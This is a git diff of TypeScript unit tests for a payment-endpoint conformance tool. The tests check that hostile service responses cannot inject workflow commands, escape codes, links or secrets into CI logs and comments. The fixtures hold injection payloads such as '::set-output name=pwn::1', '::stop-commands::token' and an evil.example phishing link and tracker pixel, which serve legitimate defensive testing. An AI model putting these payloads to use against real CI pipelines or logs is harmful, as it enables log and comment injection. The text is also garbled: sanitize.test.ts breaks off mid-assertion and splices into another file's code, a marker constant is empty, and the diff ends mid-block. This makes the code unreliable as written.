+1,219 @@ +/** + * The run report model (spec A2, A3, A8 #3): the endpoint outcome, the counts per + * group, the totals and the line that says how many endpoints were graded. + * + * The rule the exit code will rest on: an endpoint counts as tested only when + * its outcome is `conformant` or `non-conformant`. A service Wasit cannot grade + * is `unsupported`, which is neither a FAIL nor a pass. + */ + +import assert from "node:assert/strict"; +import { describe, it } from "node:test"; + +import { type CheckResult, errored, skipped } from "../../src/check.js"; +import { ConfigurationError } from "../../src/errors.js"; +import { + buildEndpointReport, + buildRunReport, + checkGroup, + describeTotals, + endpointOutcome, + reportTotals, + type EndpointReport, +} from "../../src/report.js"; +import { readToolVersions } from "../../src/versions.js"; + +function pass(id: string): CheckResult { + return { id, name: id, pass: true, detail: "ok" }; +} +function fail(id: string): CheckResult { + return { id, name: id, pass: false, detail: "wrong", hint: "fix it" }; +} +const CHALLENGE = ["X402-01", "X402-02", "X402-03", "X402-04", "X402-05"]; +const PAYMENT = ["X402-06", "X402-07", "X402-08", "X402-09", "X402-10"]; + +function v1Results(): CheckResult[] { + return [pass("X402-01"), ...CHALLENGE.slice(1).map((id) => skipped(id, id, "x402 v1", "unsupported"))]; +} + +describe("checkGroup", () => { + it("puts X402-01..05 in challenge and X402-06..10 in payment", () => { + for (const id of CHALLENGE) assert.equal(checkGroup(id, "x402"), "challenge", id); + for (const id of PAYMENT) assert.equal(checkGroup(id, "x402"), "payment", id); + }); + + it("puts MPP-01 in mppCharge and MPP-10..14 in mppChannel", () => { + assert.equal(checkGroup("MPP-01", "mpp-charge"), "mppCharge"); + for (const id of ["MPP-10", "MPP-11", "MPP-12", "MPP-13", "MPP-14"]) assert.equal(checkGroup(id, "mpp-channel"), "mppChannel", id); + }); + + it("puts an id with no catalogue entry (PREFLIGHT) in the endpoint's own group", () => { + assert.equal(checkGroup("PREFLIGHT", "x402"), "challenge"); + assert.equal(checkGroup("PREFLIGHT", "mpp-charge"), "mppCharge"); + assert.equal(checkGroup("PREFLIGHT", "mpp-channel"), "mppChannel"); + }); +}); + +describe("endpointOutcome", () => { + it("is conformant when the checks that ran passed and the rest were skipped", () => { + const results = [...CHALLENGE.map(pass), ...PAYMENT.map((id) => skipped(id, id, "no payer", "needs-payer"))]; + assert.equal(endpointOutcome(results, "x402"), "conformant"); + }); + + it("is non-conformant on any FAIL", () => { + assert.equal(endpointOutcome([pass("X402-01"), fail("X402-04")], "x402"), "non-conformant"); + }); + + it("is no-verdict when a check errored and nothing failed", () => { + const results = [pass("X402-01"), errored("X402-06", "x", new ConfigurationError("setup"))]; + assert.equal(endpointOutcome(results, "x402"), "no-verdict"); + }); + + it("is no-verdict when nothing passed: nothing was graded", () => { + assert.equal(endpointOutcome([], "x402"), "no-verdict"); + assert.equal(endpointOutcome(CHALLENGE.map((id) => skipped(id, id, "dependency", "dependency")), "x402"), "no-verdict"); + }); + + it("is unsupported for an x402 v1 challenge, although X402-01 passed", () => { + assert.equal(endpointOutcome(v1Results(), "x402"), "unsupported"); + }); + + it("lets a FAIL outrank unsupported, and unsupported outrank an error", () => { + assert.equal(endpointOutcome([...v1Results().slice(0, 3), fail("X402-04"), v1Results()[4]!], "x402"), "non-conformant"); + assert.equal( + endpointOutcome([...v1Results(), errored("X402-06", "x", new ConfigurationError("setup"))], "x402"), + "unsupported", + ); + }); + + it("does not call an endpoint unsupported because the payment group was, but not conformant either: no verdict (Najmi, 2026-11-15)", () => { + // The challenge was graded, so the endpoint is not "unsupported"; the payment checks were asked for and + // none could be graded, so it is not green. + const results = [...CHALLENGE.map(pass), ...PAYMENT.map((id) => skipped(id, id, "not a network Wasit pays on", "unsupported"))]; + assert.equal(endpointOutcome(results, "x402"), "no-verdict"); + }); + + it("calls an MPP endpoint unsupported when its only group is", () => { + assert.equal(endpointOutcome([skipped("MPP-01", "x", "network", "unsupported")], "mpp-charge"), "unsupported"); + assert.equal(endpointOutcome([skipped("MPP-10", "x", "network", "unsupported"), pass("MPP-11")], "mpp-channel"), "unsupported"); + }); + + it("does not treat an unsupported skip in another protocol's group as the endpoint's", () => { + assert.equal(endpointOutcome([pass("X402-01"), skipped("MPP-01", "x", "r", "unsupported")], "x402"), "conformant"); + }); +}); + +describe("buildEndpointReport", () => { + it("counts per group, with sanitised structured results", () => { + const report = buildEndpointReport({ + name: "weather", + protocol: "x402", + method: "GET", + path: "/api/weather", + results: [...CHALLENGE.map(pass), ...PAYMENT.map((id) => skipped(id, id, "read-only", "read-only"))], + }); + assert.equal(report.outcome, "conformant"); + assert.deepEqual(report.groups["challenge"], { passed: 5, failed: 0, errored: 0, skipped: 0 }); + assert.deepEqual(report.groups["payment"], { passed: 0, failed: 0, errored: 0, skipped: 5 }); + assert.equal(report.groups["mppCharge"], undefined); + assert.equal(report.results.length, 10); + assert.equal(report.results[5]?.skipKind, "read-only"); + }); + + it("states why an endpoint is unsupported or without a verdict, and nothing otherwise", () => { + const v1 = buildEndpointReport({ name: "a", protocol: "x402", method: "GET", path: "/a", results: v1Results() }); + assert.equal(v1.outcome, "unsupported"); + assert.equal(v1.reason, "x402 v1"); + + const broken = buildEndpointReport({ + name: "b", protocol: "x402", method: "GET", path: "/b", + results: [errored("X402-01", "402 Response Status", new ConfigurationError("The route redirects to http://other"))], + }); + assert.equal(broken.outcome, "no-verdict"); + assert.match(broken.reason ?? "", /The route redirects to/); + + const fine = buildEndpointReport({ name: "c", protocol: "x402", method: "GET", path: "/c", results: CHALLENGE.map(pass) }); + assert.equal(fine.reason, undefined); + }); + + it("passes the name, method and path through the sanitiser", () => { + const report = buildEndpointReport({ + name: "a\u001b[2J", protocol: "x402", method: "GET", path: "/p\u0007\n::error::x", results: CHALLENGE.map(pass), + }); + assert.equal(report.name, "a[2J"); + assert.equal(report.path, "/p\n: :error::x"); + }); +}); + +function endpoint(outcome: EndpointReport["outcome"]): EndpointReport { + return { name: outcome, protocol: "x402", method: "GET", path: "/", outcome, groups: {}, results: [] }; +} + +describe("reportTotals and describeTotals", () => { + it("counts an endpoint as graded only when it is conformant or non-conformant", () => { + const totals = reportTotals([endpoint("conformant"), endpoint("non-conformant"), endpoint("unsupported"), endpoint("no-verdict")]); + assert.deepEqual(totals, { endpoints: 4, graded: 2, conformant: 1, nonConformant: 1, noVerdict: 1, unsupported: 1 }); + }); + + it("says '0 graded, 1 unsupported' so a green run cannot be read as a pass", () => { + assert.equal(describeTotals(reportTotals([endpoint("unsupported")])), "0 graded, 1 unsupported"); + }); + + it("lists only the categories that have endpoints", () => { + assert.equal(describeTotals(reportTotals([endpoint("conformant"), endpoint("conformant")])), "2 graded"); + assert.equal(describeTotals(reportTotals([endpoint("conformant"), endpoint("non-conformant"), endpoint("no-verdict")])), "2 graded (1 non-conformant), 1 no verdict"); + assert.equal(describeTotals(reportTotals([])), "0 graded"); + }); +}); + +describe("buildRunReport", () => { + it("builds the report: schema 1, versions as given, the guard's class of the network, totals, notes", () => { + const versions = readToolVersions("0.7.0"); + const endpoints = [buildEndpointReport({ name: "a", protocol: "x402", method: "GET", path: "/a", results: v1Results() })]; + const report = buildRunReport({ + environment: "local", network: "stellar:testnet", startedAt: "2026-11-15T10:00:00.000Z", versions, endpoints, + }); + assert.equal(report.schema, 1); + assert.deepEqual(report.wasit, versions.wasit); + assert.deepEqual(report.sdk, versions.sdk); + assert.equal(report.networkClass, "test"); + assert.equal(report.environment, "local"); + assert.equal(report.startedAt, "2026-11-15T10:00:00.000Z"); + assert.deepEqual(report.totals, { endpoints: 1, graded: 0, conformant: 0, nonConformant: 0, noVerdict: 0, unsupported: 1 }); + assert.deepEqual(report.notes, []); + assert.equal(JSON.parse(JSON.stringify(report)).endpoints[0].outcome, "unsupported"); + }); + + it("classifies mainnet and an unknown network through the guard's table, and keeps notes sanitised", () => { + const base = { environment: "e", startedAt: "2026-11-15T10:00:00.000Z", versions: readToolVersions("0.7.0"), endpoints: [] }; + assert.equal(buildRunReport({ ...base, network: "stellar:pubnet" }).networkClass, "mainnet-optin"); + assert.equal(buildRunReport({ ...base, network: "ach:us" }).networkClass, "unknown"); + assert.deepEqual(buildRunReport({ ...base, network: "stellar:testnet", notes: ["a\u001b[2J", "::error::x"] }).notes, ["a[2J", ": :error::x"]); + }); +}); + +describe("a secret in a check's text", () => { + it("does not reach the report: not in a detail, a name, a reason or a note", () => { + const secret = `S${"C".repeat(55)}`; + const report = buildRunReport({ + environment: `e-${secret}`, + network: "stellar:testnet", + startedAt: "2026-11-15T10:00:00.000Z", + versions: readToolVersions("0.7.0"), + notes: [`note ${secret}`], + endpoints: [ + buildEndpointReport({ + name: `name-${secret}`, + protocol: "x402", + method: "GET", + path: `/p?k=${secret}`, + results: [ + { id: "X402-01", name: `n-${secret}`, pass: false, detail: `got ${secret}`, hint: `fix ${secret}` }, + errored("X402-02", "x", new ConfigurationError(`cannot ${secret}`)), + ], + }), + ], + }); + assert.equal(JSON.stringify(report).includes(secret), false); + }); +}); diff --git a/packages/core/test/unit/sanitize.test.ts b/packages/core/test/unit/sanitize.test.ts new file mode 100644 index 0000000..dd077b7 --- /dev/null +++ b/packages/core/test/unit/sanitize.test.ts @@ -0,0 +1,232 @@ +/** + * The one sanitiser (spec A8 #6, A4, attack finding A-A07). + * + * What a service answers is data. These tests feed the sanitiser the things a + * hostile 402 body could carry and hold it to: no control character reaches a + * terminal, no `::` starts a line in a job log, nothing in a comment can mention + * a user, link out, break the table or inject HTML, and a secret-shaped value + * never survives. + */ + +import assert from "node:assert/strict"; +import { describe, it } from "node:test"; + +import { MARKDOWN_VALUE_MAX, sanitizeForMarkdown, sanitizeText } from "../../src/sanitize.js"; + +/** A Stellar secret-shaped value built here, so no real key is ever in the repository. */ +const FAKE_SECRET = `S${"A".repeat(55)}`; + +/** The body of a hostile 402 response: Markdown, HTML, a mention, `::`, control characters. */ +const HOSTILE_BODY = [ + "::error file=app.js,line=1::pwned", + " ::set-output name=x::y", + "##[error]fake", + "# Heading injected", + "- list item", + "[click me](https://evil.example/phish)", + "![tracker](http://evil.example/pixel.png)", + "", + "", + "", + "ping @octocat and @some-org/team, mail a@b.example", + "see https://evil.example/a?b=c and www.evil.example and #123 and other/repo#7", + "red \u001b[31mtext\u001b[0m bell\u0007 nul\u0000 csi\u009b del\u007f", + "| col | col |", + "`code` *bold* _it_ ~~strike~~", +].join("\n"); + +describe("sanitizeText (terminal, job log, report text)", () => { + it("strips C0 control characters except newline and tab", () => { + assert.equal(sanitizeText("a\u0000b\u0007c\u001bd\u000be\u000cf\rg"), "abcdefg"); + assert.equal(sanitizeText("line1\nline2\tcol"), "line1\nline2\tcol"); + }); + + it("strips C1 control characters and DEL", () => { + for (let code = 0x80; code <= 0x9f; code += 1) { + assert.equal(sanitizeText(`a${String.fromCharCode(code)}b`), "ab", `U+${code.toString(16)}`); + } + assert.equal(sanitizeText("a\u007fb"), "ab"); + }); + + it("turns an escape sequence into inert text", () => { + assert.equal(sanitizeText("\u001b[2J\u001b[31mred"), "[2J[31mred"); + }); + + it("strips bidirectional override characters", () => { + assert.equal(sanitizeText("a\u202eb\u202ac\u2066d\u2069e"), "abcde"); + }); + + it("keeps ordinary text, accents, CJK and emoji", () => { + const text = "Réponse 402: 価格 10000 😀\nnext line"; + assert.equal(sanitizeText(text), text); + }); + + it("breaks a leading `::` on every line, also after whitespace or a stripped control character", () => { + assert.equal(sanitizeText("::error::x"), ": :error::x"); + assert.equal(sanitizeText("ok\n::warning::x\nok"), "ok\n: :warning::x\nok"); + assert.equal(sanitizeText(" ::notice::x"), " : :notice::x"); + assert.equal(sanitizeText("\t::notice::x"), "\t: :notice::x"); + assert.equal(sanitizeText("\u0000::error::x"), ": :error::x"); + assert.equal(sanitizeText("::stop-commands::token"), ": :stop-commands::token"); + // Not at the start of a line: nothing to break. + assert.equal(sanitizeText("a ::b"), "a ::b"); + }); + + it("breaks it after any Unicode whitespace a runner may trim before it", () => { + for (const space of ["\u00a0", "\u3000", "\u2003", "\u1680", "\ufeff", " \t \u00a0"]) { + assert.equal(sanitizeText(`${space}::error::x`), `${space}: :error::x`, JSON.stringify(space)); + } + }); + + it("breaks a leading `##[` as well (defensive, the older command form)", () => { + assert.equal(sanitizeText("##[error]x"), "# #[error]x"); + assert.equal(sanitizeText("a ##[b"), "a ##[b"); + }); + + it("leaves no line of a hostile body that a runner would read as a command", () => { + const out = sanitizeText(HOSTILE_BODY); + for (const line of out.split("\n")) { + assert.equal(/^\s*(::|##\[)/.test(line), false, JSON.stringify(line)); + } + assert.equal(/[\u0000-\u0008\u000b-\u001f\u007f-\u009f]/.test(out), false); + }); + + it("is idempotent", () => { + for (const input of [HOSTILE_BODY, "::a::b\n::c", "plain", "", "\u0000::\u0000::"]) { + const once = sanitizeText(input); + assert.equal(sanitizeText(once), once, JSON.stringify(input)); + } + }); + + it("masks a Stellar-secret-shaped value, also inside a longer word and across a stripped control", () => { + assert.equal(sanitizeText(`key ${FAKE_SECRET} end`).includes(FAKE_SECRET), false); + assert.equal(sanitizeText(`x${FAKE_SECRET}y`).includes(FAKE_SECRET), false); + assert.equal(sanitizeText(`${FAKE_SECRET.slice(0, 20)}\u0000${FAKE_SECRET.slice(20)}`).includes(FAKE_SECRET), false); + assert.match(sanitizeText(`key ${FAKE_SECRET}`), /\[redacted\]/); + }); + + it("does not mask a public key, a contract address or a 64-hex transaction hash", () => { + const publicKey = `G${"B".repeat(55)}`; + const contract = `C${"C".repeat(55)}`; + const hash = "ab".repeat(32); + const text = `${publicKey} ${contract} ${hash}`; + assert.equal(sanitizeText(text), text); + }); + + it("redacts each given secret literal, also one that a control character was hiding", () => { + const secret = "s3cr3t-header-value"; + assert.equal(sanitizeText(`got ${secret} back`, { redact: [secret] }), "got [redacted] back"); + assert.equal(sanitizeText("got s3cr3t-\u0000header-value back", { redact: [secret] }), "got [redacted] back"); + assert.equal(sanitizeText(`${secret} and ${secret}`, { redact: [secret] }), "[redacted] and [redacted]"); + }); + + it("ignores an empty or very short redact entry rather than blanking the text", () => { + assert.equal(sanitizeText("hello abc", { redact: ["", "l", "abc"] }), "hello abc"); + }); + + it("treats a redact entry as a literal, not a pattern", () => { + assert.equal(sanitizeText("x a.*b y axxb", { redact: ["a.*b"] }), "x [redacted] y axxb"); + }); +}); + +describe("sanitizeForMarkdown (comment and job summary)", () => { + const out = sanitizeForMarkdown(HOSTILE_BODY, { maxLength: 100_000 }); + + it("emits one line: no newline can start a heading, list, quote or table row", () => { + assert.equal(out.includes("\n"), false); + assert.equal(out.includes("\r"), false); + }); + + it("leaves no raw HTML: no angle bracket, and the comment marker is inert", () => { + assert.equal(/[<>]/.test(out), false); + assert.equal(out.includes(""); + assert.match(text.split("\n")[1] ?? "", /Wasit: conformant/); + assert.match(text, /No baseline on main yet/); + }); + + it("appends the summary to the file named by --summary, or GITHUB_STEP_SUMMARY, and does not overwrite it", async () => { + const report = await reportFor(v1Handler, "summary"); + const summary = path.join(dir, "step-summary.md"); + await writeFile(summary, "earlier step\n"); + await ciReport({ report, summary, comment: path.join(dir, "s1.md") }); + const viaFlag = await readFile(summary, "utf-8"); + assert.ok(viaFlag.startsWith("earlier step\n")); + assert.match(viaFlag, /Wasit: nothing graded/); + assert.ok(!viaFlag.includes("")); + + const other = path.join(dir, "step-summary-env.md"); + appendFileSync(other, ""); + await ciReport({ report, comment: path.join(dir, "s2.md") }, { GITHUB_STEP_SUMMARY: other }); + assert.match(await readFile(other, "utf-8"), /Wasit: nothing graded/); + }); + + it("compares with the baseline, and carries the history into --baseline-out", async () => { + const good = await reportFor(async (_request, response) => { + const { challengeHeader } = await import("./run-helpers.js"); + response.writeHead(402, { "payment-required": challengeHeader() }); + response.end("{}"); + }, "main-good"); + const bad = await reportFor((_request, response) => { + response.writeHead(200); + response.end("free"); + }, "pr-bad"); + + // The run on main: no baseline yet, writes the first one. + const first = path.join(dir, "baseline-1.json"); + assert.equal((await ciReport({ report: good, comment: path.join(dir, "c1.md"), baselineOut: first })).code, 0); + const firstFile = JSON.parse(await readFile(first, "utf-8")) as { history: Record> }; + assert.equal(firstFile.history["weather"]?.["X402-01"], "P"); + + // A second run on main, with the first as the baseline: the history grows. + const second = path.join(dir, "baseline-2.json"); + await ciReport({ report: good, baseline: first, comment: path.join(dir, "c2.md"), baselineOut: second }); + const secondFile = JSON.parse(await readFile(second, "utf-8")) as { history: Record> }; + assert.equal(secondFile.history["weather"]?.["X402-01"], "PP"); + + // A pull request that breaks the paywall. + const comment = path.join(dir, "c3.md"); + assert.equal((await ciReport({ report: bad, baseline: second, comment })).code, 0, "a failing run is the run's exit code, not ci-report's"); + const text = await readFile(comment, "utf-8"); + assert.match(text, /Wasit: non-conformant/); + assert.match(text, /New FAIL: weather X402-01 \(was PASS on main\)/); + assert.ok(!/Recent failures/.test(text), "main never failed, so there is no recent-failures line"); + }); + + it("says the baseline could not be used, and still writes the comment, when the file is not a report", async () => { + const report = await reportFor(v1Handler, "bad-baseline"); + const baseline = path.join(dir, "forged-baseline.json"); + await writeFile(baseline, '{"schema":1,"endpoints":"not a list"}'); + const comment = path.join(dir, "c4.md"); + const result = await ciReport({ report, baseline, comment }); + assert.equal(result.code, 0); + const text = await readFile(comment, "utf-8"); + assert.match(text, /could not be used/); + assert.match(text, /history starts again/); + }); + + it("starts the history again from this run when it writes a baseline over one that could not be used", async () => { + const report = await reportFor(v1Handler, "restart"); + const baseline = path.join(dir, "garbage-baseline.json"); + await writeFile(baseline, "garbage"); + const next = path.join(dir, "restart-next.json"); + await ciReport({ report, baseline, comment: path.join(dir, "c5.md"), baselineOut: next }); + const file = JSON.parse(await readFile(next, "utf-8")) as { history: Record> }; + assert.equal(file.history["weather"]?.["X402-01"], "P"); + }); + + // The run left no usable report: the comment says "no verdict" (ci-report-no-report.test.ts + // holds the detail), so the comment of the push before does not stay next to a red check. + it("says no verdict when the report is missing (exit 0: the run step carries the failure) or is not a report (exit 2)", async () => { + const comment = path.join(dir, "never.md"); + const missing = await ciReport({ report: path.join(dir, "no-such-report.json"), comment }); + assert.equal(missing.code, 0); + assert.match(missing.stderr, /wrote no report/); + assert.match(await readFile(comment, "utf-8"), /Wasit: no verdict\./); + const notReport = path.join(dir, "not-a-report.json"); + await writeFile(notReport, JSON.stringify({ schema: 7 })); + const result = await ciReport({ report: notReport, comment }); + assert.equal(result.code, 2); + assert.match(result.stderr, /not a Wasit report/); + assert.match(await readFile(comment, "utf-8"), /Wasit: no verdict\./); + }); + + describe("a hostile service, from the run to the comment", () => { + const hostileHandler: Handler = (_request, response) => { + // X402-05 quotes the network the service chose; X402-03 quotes the start of a header it cannot decode. + const body = Buffer.from( + JSON.stringify({ + x402Version: 2, + accepts: [ + { + scheme: "exact", + network: `[click](https://evil.example/x) @octocat ${CANARY} ${STELLAR_KEY}`, + amount: "1", + asset: "a", + payTo: "b", + maxTimeoutSeconds: 60, + }, + ], + }), + ).toString("base64"); + response.writeHead(402, { "payment-required": body }); + response.end("{}"); + }; + const undecodable: Handler = (_request, response) => { + response.writeHead(402, { "payment-required": Buffer.from("\u001b[2J\n::set-output name=pwn::1\nnot json").toString("base64") }); + response.end("{}"); + }; + + // The 402 body: an x402 v1 body challenge is read for notes, and a note quotes what the body said. + const hostileBody: Handler = (_request, response) => { + response.writeHead(402, { "content-type": "application/json" }); + response.end( + JSON.stringify({ + x402Version: 1, + accepts: [ + { + scheme: "exact", + network: `[click](https://evil.example/x) @octocat ${CANARY} ${STELLAR_KEY}\n::set-output name=pwn::1\u001b[2J`, + }, + ], + }), + ); + }; + + for (const [label, handler] of [ + ["a quoted field", hostileHandler], + ["an undecodable header", undecodable], + ["a v1 body", hostileBody], + ] as const) { + it(`${label}: the comment and the summary carry no HTML, link, mention, control character, workflow command or secret`, async () => { + const env = { WASIT_HEADER_X_API_KEY: CANARY, STELLAR_PRIVATE_KEY: STELLAR_KEY }; + const report = await reportFor(handler, `hostile-${label.replace(/\s/g, "-")}`, env); + const comment = path.join(dir, `hostile-${label.replace(/\s/g, "-")}.md`); + const summary = path.join(dir, `hostile-${label.replace(/\s/g, "-")}.summary.md`); + const result = await ciReport({ report, comment, summary }, env); + assert.equal(result.code, 0, result.stderr); + for (const file of [comment, summary]) { + const text = await readFile(file, "utf-8"); + assert.match(text, /X402-0[2345]|unsupported/, "the finding is there"); + if (label === "a quoted field") { + // The service chose the network, and the actual value quotes it: one line, neutralised. + assert.match(text, /- Expected: /); + assert.match(text, /- Actual: "/); + assert.ok(!/canary/.test(text), "not even the start of the header value"); + } + assert.ok(!/<(img|script)/i.test(text), "html"); + assert.ok(!text.includes("evil.example"), "a link"); + assert.ok(!/@octocat/.test(text), "a mention"); + assert.ok(!CONTROL.test(text.replace(/\n/g, "")), "a control character"); + assert.ok(!/^\s*(::|##\[)/m.test(text), "a workflow command"); + assert.ok(!text.includes(CANARY), "the header value"); + assert.ok(!text.includes(STELLAR_KEY), "the key"); + } + // The report file itself, which the comment is built from: the same rules for every string in it. + const file = await readFile(report, "utf-8"); + assert.ok(!file.includes(CANARY), "the report file"); + assert.ok(!/canary/.test(file), "not even the start of the header value, where a cut could have left it"); + assert.ok(!file.includes(STELLAR_KEY), "the key in the report file"); + const strings = (JSON.parse(file) as { endpoints: Array<{ results: Array<{ detail: string }> }> }).endpoints.flatMap((endpoint) => + endpoint.results.map((result) => result.detail), + ); + for (const detail of strings) { + assert.ok(!CONTROL.test(detail.replace(/\n/g, "")), "a control character in the report"); + assert.ok(!/^\s*(::|##\[)/m.test(detail), "a workflow command in the report"); + } + }); + } + }); +}); diff --git a/packages/cli/test/unit/ci-report-no-report.test.ts b/packages/cli/test/unit/ci-report-no-report.test.ts new file mode 100644 index 0000000..23b2d31 --- /dev/null +++ b/packages/cli/test/unit/ci-report-no-report.test.ts @@ -0,0 +1,91 @@ +/** + * `wasit ci-report` when the run left no usable report (the service never + * started, never answered, or the config could not be used). + * + * SOW 2 Deliverable 1: one comment, updated on each push. A comment from the + * push before must not stay next to a red check, so the report step writes a + * "no verdict" comment and summary instead of nothing. It decides nothing about + * the job (the result of `wasit run` does), and it never writes a baseline. + */ + +import assert from "node:assert/strict"; +import { existsSync } from "node:fs"; +import { mkdtemp, readFile, rm, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import path from "node:path"; +import { after, before, describe, it } from "node:test"; + +import { executeCiReport, type CiReportOptions } from "../../src/ci-report-command.js"; + +const MARKER = ""; + +describe("wasit ci-report without a usable report", () => { + let dir: string; + before(async () => { + dir = await mkdtemp(path.join(tmpdir(), "wasit-ci-report-none-")); + }); + after(async () => { + await rm(dir, { recursive: true, force: true }); + }); + + async function ciReport(options: Partial & { report: string }, name: string) { + const comment = path.join(dir, `${name}.comment.md`); + const summary = path.join(dir, `${name}.summary.md`); + const baselineOut = path.join(dir, `${name}.baseline.json`); + const out: string[] = []; + const err: string[] = []; + const code = await executeCiReport( + { comment, summary, baselineOut, ...options }, + { env: { PATH: process.env["PATH"] ?? "" }, stdout: (line) => out.push(line), stderr: (line) => err.push(line) }, + ); + return { code, stdout: out.join("\n"), stderr: err.join("\n"), comment, summary, baselineOut }; + } + + it("writes a no-verdict comment and summary when the report was never written, and exits 0", async () => { + const result = await ciReport({ report: path.join(dir, "missing.report.json") }, "missing"); + assert.equal(result.code, 0, result.stderr); + const comment = await readFile(result.comment, "utf-8"); + assert.ok(comment.startsWith(`${MARKER}\n`), "the marker is the first line, so the comment replaces the earlier one"); + assert.match(comment, /Wasit: no verdict\./); + assert.match(comment, /nothing was graded/i); + assert.match(comment, /job log/); + assert.ok(!/conformant\./.test(comment.replace("non-conformant", "")), "it never says conformant"); + const summary = await readFile(result.summary, "utf-8"); + assert.ok(!summary.includes(MARKER), "the summary has no marker"); + assert.match(summary, /Wasit: no verdict\./); + }); + + it("names the Wasit and SDK versions, as every result does", async () => { + const result = await ciReport({ report: path.join(dir, "missing-2.report.json") }, "versions"); + const comment = await readFile(result.comment, "utf-8"); + assert.match(comment, /Wasit \d+\.\d+\.\d+\S* \(core \d+\.\d+\.\d+\S*\), x402 v2, @x402\/core /); + }); + + it("never writes a baseline: a run that graded nothing must not become the baseline of main", async () => { + const result = await ciReport({ report: path.join(dir, "missing-3.report.json") }, "nobaseline"); + assert.equal(existsSync(result.baselineOut), false); + }); + + it("writes the same comment, and exits 2, when the report is not usable, without quoting the file", async () => { + const bad = path.join(dir, "bad.report.json"); + await writeFile(bad, '{"canary-from-the-file": "S' + "A".repeat(55) + '" '); + const result = await ciReport({ report: bad }, "bad"); + assert.equal(result.code, 2); + const comment = await readFile(result.comment, "utf-8"); + assert.ok(comment.startsWith(`${MARKER}\n`)); + assert.match(comment, /Wasit: no verdict\./); + assert.ok(!comment.includes("canary-from-the-file"), "nothing from the file reaches the comment"); + assert.ok(!result.stderr.includes("canary-from-the-file")); + assert.equal(existsSync(result.baselineOut), false); + }); + + it("does not fail when no summary file is wanted", async () => { + const comment = path.join(dir, "only.comment.md"); + const code = await executeCiReport( + { report: path.join(dir, "missing-4.report.json"), comment }, + { env: { PATH: process.env["PATH"] ?? "" }, stdout: () => {}, stderr: () => {} }, + ); + assert.equal(code, 0); + assert.ok(existsSync(comment)); + }); +}); diff --git a/packages/cli/test/unit/config-fixture.test.ts b/packages/cli/test/unit/config-fixture.test.ts new file mode 100644 index 0000000..0440f78 --- /dev/null +++ b/packages/cli/test/unit/config-fixture.test.ts @@ -0,0 +1,29 @@ +/** + * The shared fixture config, read the way the CLI will read it: through the + * built `@wasit-dev/core`. The same file backs the core tests and, later, the + * Action's, so a change to the schema that breaks one breaks all three. + */ + +import assert from "node:assert/strict"; +import { fileURLToPath } from "node:url"; +import { describe, it } from "node:test"; + +import { ConfigError, describeRun, readConfigFile, resolveRun } from "@wasit-dev/core"; + +const FIXTURE = fileURLToPath(new URL("../../../core/test/fixtures/wasit.config.json", import.meta.url)); + +describe("the fixture wasit.config.json, through @wasit-dev/core", () => { + it("loads, and resolves the default environment to URLs on its own origin", () => { + const run = resolveRun(readConfigFile(FIXTURE), {}, {}); + assert.equal(run.environment, "local"); + assert.deepEqual(run.endpoints.map((endpoint) => new URL(endpoint.url).origin), Array(5).fill("http://127.0.0.1:3000")); + assert.match(describeRun(run), /Endpoints: 5/); + }); + + it("names the environments when one is asked for that is not there", () => { + assert.throws( + () => resolveRun(readConfigFile(FIXTURE), { environment: "prod" }, {}), + (error: unknown) => error instanceof ConfigError && /local, staging, mainnet/.test(error.message), + ); + }); +}); diff --git a/packages/cli/test/unit/output.test.ts b/packages/cli/test/unit/output.test.ts new file mode 100644 index 0000000..4e0493c --- /dev/null +++ b/packages/cli/test/unit/output.test.ts @@ -0,0 +1,155 @@ +/** + * What `wasit test`, `wasit mpp-charge` and `wasit mpp-channel` print, and the + * exit code they return. Text a service sent reaches the terminal through the + * check details, so it goes through the one sanitiser (spec A8 #6): no control + * character, no `::` at the start of a line (a workflow command in a CI log), no + * secret. And the exit rule of `wasit test` (A8 #3, D-021): a service that was + * never graded exits 2. + */ + +import assert from "node:assert/strict"; +import { describe, it } from "node:test"; + +import { type CheckResult, skipped } from "@wasit-dev/core"; + +import { report } from "../../src/output.js"; + +const CANARY = "canary-header-value-7f3a"; +const STELLAR_KEY = `S${"A".repeat(55)}`; + +function run(results: CheckResult[], json: boolean, protocol?: "x402") { + const lines: string[] = []; + const code = report(results, json, { + emit: (line) => lines.push(line), + secrets: [CANARY], + ...(protocol === undefined ? {} : { protocol }), + }); + return { code, text: lines.join("\n") }; +} + +const hostile: CheckResult = { + id: "X402-04", + name: "Required Fields Present", + pass: false, + detail: `bad \u001b[2J\u0007 body\n::set-output name=pwn::1\n ::add-mask::x\n##[warning]hi ${CANARY} ${STELLAR_KEY}`, + hint: `try \u001b[31m this\n::stop-commands::token ${CANARY}`, +}; + +describe("report, text", () => { + const { text } = run([hostile], false); + + it("strips control characters", () => { + assert.ok(!/[\u0000-\u0008\u000b-\u001f\u007f-\u009f]/.test(text)); + }); + + it("starts no line with a workflow command, in either spelling", () => { + for (const line of text.split("\n")) assert.ok(!/^\s*(::|##\[)/.test(line), line); + }); + + it("carries no secret", () => { + assert.ok(!text.includes(CANARY)); + assert.ok(!text.includes(STELLAR_KEY)); + }); + + it("still prints the check, its detail and the fix", () => { + assert.match(text, /FAIL {2}X402-04 {2}Required Fields Present/); + assert.match(text, /bad \[2J body/); + assert.match(text, /Fix: try/); + }); +}); + +describe("report, json", () => { + it("is parseable JSON with no secret and no control character in any string", () => { + const { text } = run([hostile], true); + const parsed = JSON.parse(text); + assert.equal(parsed.results[0].status, "FAIL"); + assert.ok(!text.includes(CANARY)); + assert.ok(!text.includes(STELLAR_KEY)); + assert.ok(!/[\u0000-\u0008\u000b-\u001f\u007f-\u009f]/.test(text.replace(/\n/g, ""))); + }); +}); + +describe("payment checks asked for and not gradable on the network (Najmi, 2026-11-15)", () => { + // A typo in --network, or a chain with no payment adapter: the challenge was graded, the payment checks were not. + const challenge: CheckResult[] = ["X402-01", "X402-02", "X402-03", "X402-04", "X402-05"].map((id) => ({ + id, + name: id, + pass: true, + detail: "ok", + })); + const unsupportedPayment: CheckResult[] = [ + ...challenge, + ...["X402-06", "X402-07", "X402-08", "X402-09", "X402-10"].map((id) => skipped(id, id, "no payment adapter for eip155:1", "unsupported")), + ]; + + it("exits 2, as 0.7.0 did, not 0", () => { + assert.equal(run(unsupportedPayment, false, "x402").code, 2); + }); + + it("says in the text that the payment checks were asked for and could not be graded, and that nothing was signed", () => { + const { text } = run(unsupportedPayment, false, "x402"); + assert.match(text, /No verdict/); + assert.match(text, /payment checks/); + assert.match(text, /nothing was signed/i); + }); + + it("names the outcome no-verdict in json", () => { + assert.equal(JSON.parse(run(unsupportedPayment, true, "x402").text).outcome, "no-verdict"); + }); +}); + +describe("the exit rule of wasit test", () => { + 